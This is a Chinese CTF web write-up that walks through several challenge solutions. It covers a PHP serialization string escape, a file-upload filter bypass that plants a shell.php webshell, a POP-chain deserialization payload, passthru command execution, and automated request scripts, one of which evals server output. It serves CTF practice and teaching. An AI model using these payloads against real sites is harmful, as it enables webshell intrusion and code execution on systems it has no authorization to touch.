CMctf-web-wp

WEB

到index.html慢慢翻就行了

QQ20250608-165623

详细不说了,懂都懂(什么题目…)

can_u_escape

1
<?php include("flag.php"); highlight_file(__FILE__); function filter($name){   $safe=array("flag","php");   $name=str_replace($safe,"hake",$name);   return $name; } class test{   var $user;   var $pass='daydream';   function __construct($user){     $this->user=$user;       } } $param=$_GET['a']; $param=serialize(new test($param)); $profile=unserialize(filter($param)); if ($profile->pass=='escaping'){   echo $flag; } ?> 

简单的字符串逃逸

挺简单的,手搓出来即可

无需多言


ez_upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}

}

其实还挺有意思的,拿到源码后

1
2
3
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

先通过数组绕过,实现目录跨越,否则受限太多了

解放了前半部分,开头可以传入../shell但是还是受限于白名单后缀,结尾必须是png才能绕过waf

然后有注意到end 和count-1

很有说法,end去绕过,filename[count-1]去拼接恶意后缀

$filename = reset($file) . '.' . $file[count($file) - 1];

filename[]=shell&filename[2]=php&filename[]=png

首先end是png,实现绕过,其次,count-1为2,而filename[2]为php,欧克

与shell拉一起

成为shell.php

实现绕过

QQ20250608-144705

传入,蚁剑连接即可

QQ20250608-144736

give!me!money!

index.rar拿到源码之后,注意到post传入参数c

可谓是精心爆破不如随手一发

随手生成时间戳,生成,传入拿到flag

QQ20250608-162649

lottery签到

交给AI解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
let attempts = 0;

const tryGetFlag = () => {
fetch('/spin', {
method: 'POST',
headers: { 'Content-Type': 'application/json' }
})
.then(r => r.json())
.then(data => {
attempts++;
console.log(`尝试 #${attempts}:`, data.title);

// 新增:一等奖时立即停止循环
if (data.title === 'First Prize') {
if (data.flagContent) {
alert(`🎉 一等奖命中!获取Flag成功!\n尝试次数: ${attempts}\nFlag: ${data.flagContent}`);
} else {
alert(`❗ 中了一等奖但无Flag,可能需要手动确认!\n尝试次数: ${attempts}`);
}
return; // 终止函数,不再继续调用
}

if (data.flagContent) {
alert(`获取Flag成功! 尝试次数: ${attempts}\nFlag: ${data.flagContent}`);
} else if (attempts < 1000) {
setTimeout(tryGetFlag, 300); // 保持原有间隔
} else {
alert("尝试次数过多,未获取到Flag");
}

})
.catch(err => {
console.error("请求失败:", err);
if (attempts < 1000) {
setTimeout(tryGetFlag, 600); // 失败时延长间隔
}
});
};

tryGetFlag();

QQ20250608-133236

pop之我又双叒叕重生了

又是究极弱智题

反正没奖,不写WP了

QQ20250608-120339

u_know?

第一个shop.php,简单,弱比较,都是True就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

// 创建共享数组(非标量)

$gift1 = ["value"];

$gift2=['good'];

$obj = [

'onething' => True, // 引用数组

'twothing' => True // 引用同一个数组

];

echo serialize($obj);

传入

a:2:{s:8:”onething”;b:1;s:8:”twothing”;b:1;}

即可拿到第一部分flag

然后进入kfc.php,拿到kfc.rar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class order
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class zhengcan
{
public $lbjjrj;

function __call($name, $arguments)
{
echo $this->lbjjrj->douzhi;
}
}

class tiandian
{


function __get($Attribute)
{
echo '';

}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
echo "使用压缩包点单kfc.rar";
}

写个简单的链子即可

order->zhengcan->tiandian

即可拿到第二部分flag

整合解码即可

You don’t actually have a girlfriend, it’s just my imaginary cyber life

离谱的是,你告诉我这是flag

这辈子有了

MC{You don't actually have a girlfriend, it's just my imaginary cyber life}

函数重生版

还挺迷糊人的,以为限定字符数

直接passthru(‘find /‘);

找到/tmp/flag.sh

直接看就行了

passthru(‘tail /tmp/flag.sh’);

拿到flag

QQ20250608-111918

小猿口算签到重生版

脚本一把梭即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import re
import time
from threading import Thread

session = requests.Session() # 创建会话对象
BASE_URL = "http://27.25.151.40:33019/" # 替换为实际地址

def fetch_expression():
while True:
try:
response = session.get(f"{BASE_URL}/generate") # 使用会话获取表达式
if response.status_code == 200:
data = response.json()
expression = data.get("expression", "")
result = eval(re.sub(r'[^0-9+\-*/]', '', expression))
print(f"获取表达式: {expression} = {result}")
with open("current_result.txt", "w") as f:
f.write(str(result)) # 保存结果到文件
time.sleep(1.5) # 保持与前端一致的频率
except Exception as e:
print(f"获取失败: {e}")
time.sleep(5)

def submit_answer():
while True:
try:
with open("current_result.txt", "r") as f:
result = f.read().strip() # 读取最新结果
data = {"user_input": result}
response = session.post( # 使用会话提交答案
f"{BASE_URL}/verify",
json=data,
headers={"Content-Type": "application/json"}
)
if response.status_code == 200:
res_data = response.json()
if res_data.get("flag"):
print(f"🎉 成功获取Flag: {res_data['flag']}")
return
elif "No puzzle" in res_data.get("error", ""):
print("等待新谜题生成...")
else:
print(f"错误: {res_data.get('error')}")
time.sleep(1) # 提交间隔
except Exception as e:
print(f"提交失败: {e}")
time.sleep(5)

if __name__ == "__main__":
print("启动自动解题脚本...")
# 启动获取和提交线程
Thread(target=fetch_expression, daemon=True).start()
Thread(target=submit_answer, daemon=True).start()
# 保持主线程运行
while True:
time.sleep(1)

QQ20250608-170428

flag{CAD709DE7E0B803D8BA72A55C4EB8C50}